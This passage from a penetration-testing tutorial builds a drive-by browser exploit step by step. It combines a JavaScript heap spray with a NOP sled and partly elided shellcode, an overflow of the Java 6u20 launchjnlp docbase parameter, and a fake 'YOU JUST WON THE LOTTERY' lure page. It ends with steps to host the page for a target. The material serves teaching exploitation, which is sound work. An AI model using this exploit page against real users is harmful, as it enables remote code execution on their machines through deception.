There are two distinct phases to this attack, so they'll be coded distinctly. Phase One is the heap spray. In our code, we'll define a function that declares two variables for the NOP sled and the shellcode, a while loop to grow the NOP sled, and then it concatenates the two. Finally, a for loop will distribute the naughty bytes into the heap. Let's take a look:
<html>
<head>
<script>
var arr = [];
function sprayer() {
var shcode = unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0...
[snip]
...uc175%ubbc3%ub5f0%u56a2%u006a%uff53%u41d5")
var nopsled = unescape("%u9090%u9090");
while(nopsled.length <= 0x100000 - shcode.length) {
nopsled += nopsled;
}
nopsled += shcode;
for(z = 0; z < 200; z++) {
arr[z] = z + nopsled;
arr[z].substring(0, 1);
}
}
- First, we declare the arr array ([] indicates, this is an array). This will be used in the following function.
- Now, the heavy lifter for the heap spray: the sprayer() function. We start by declaring the shcode string and putting in our shellcode in js_le format. The unescape() function will put raw hex into the shcode variable.
- Next, we do the same thing for our NOP sled by declaring the nopsled string. Just like before, unescape("%u9090%u9090") will put 90909090 into nopsled.
- Right now, nopsled isn't much of an NOP sled (more like an NOP skip). It needs to be a nice tall hill for execution to slide down into shellcode. The shellcode has to be a particular sequence of bytes; but for the NOP sled, it simply needs to be a very long string of NOPs. We save space and time by just coding in a quick while loop. The nopsled += nopsled just adds nopsled to itself, and this continues until nopsled is the same length as one megabyte minus the length of shellcode. (hexadecimal 100000 = 1,048,576 decimal.) The while loop exits and nopsled takes on shcode. In other words, the result is an NOP sled attached to the shellcode at a total size of 1 megabyte.
- Now that we have the actual chunk of data to spray, let's turn on the sprayer itself with a for loop. This loop will iterate through 200 elements of the arr array, assigning the payload to each element. The final line uses the substring() method to trick the allocator into creating new space for the next iteration of the for loop.
The sprayer is constructed and ready to water the lawn. But, don't forget that spraying the heap doesn't actually do anything for us as the attacker just yet. We have shellcode sitting in memory; now, we have to trick the target into executing it. Here comes Phase Two: exploiting Java 6u20. This is the easy part: declare a string variable and assign some random string of nonsense to it; then, call the vulnerable program and pass our string to the vulnerable parameter:
function exploit() {
var buffer = "zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz"
var htmlTags =
"<object type='application/x-java-applet'>" +
"<param name='launchjnlp' value='1'>" +
"<param name='docbase' value='" + buffer + "'>" +
"</object>";
document.write(htmlTags);
}
</script>
</head>
In the preceding code, we did the following:
- We declare our exploit() function, followed by a closing </script></head> to wrap up the script portion of our page.
- The first thing we do in our function is to declare the buffer string and stuff a bunch of nonsense into it. In keeping with my overall desire to sleep, I'm using the letter z. For now, I'm using some arbitrarily long number of characters. When I have an idea of just how big the buffer is, then I can fine-tune this when I'm adding my target address to it.
- Next, we declare the htmlTags string and fill it with a specially crafted call to launchjnlp; then, we use the write() method to write the call to the document, thus executing it. The key is the docbase parameter, which is getting our buffer string dumped into value.
All we've done is define our functions; we are yet to actually call them. Now, we wrap up the preparation with the body of the page. The page will spray the heap upon loading in the browser; when the user clicks the button, the exploit function is called:
<body onload="sprayer()">
<strong>YOU JUST WON THE LOTTERY</strong>
<input type="button" value="CLICK TO CLAIM" onclick="exploit()">
</body>
</html>
When you're ready to type this up, fire up Kali and enter vim lottery.html at the prompt, type up the code, and save the file. Finally, we put our bait on the network with python -m SimpleHTTPServer executed from within the folder where lottery.html is located.
Now that we've configured and set the ambush, let's change gears. We're going to examine this attack from the perspective of the Windows target. Just like our gdb examination of memory on Linux, we'll need a debugger for our Windows environment.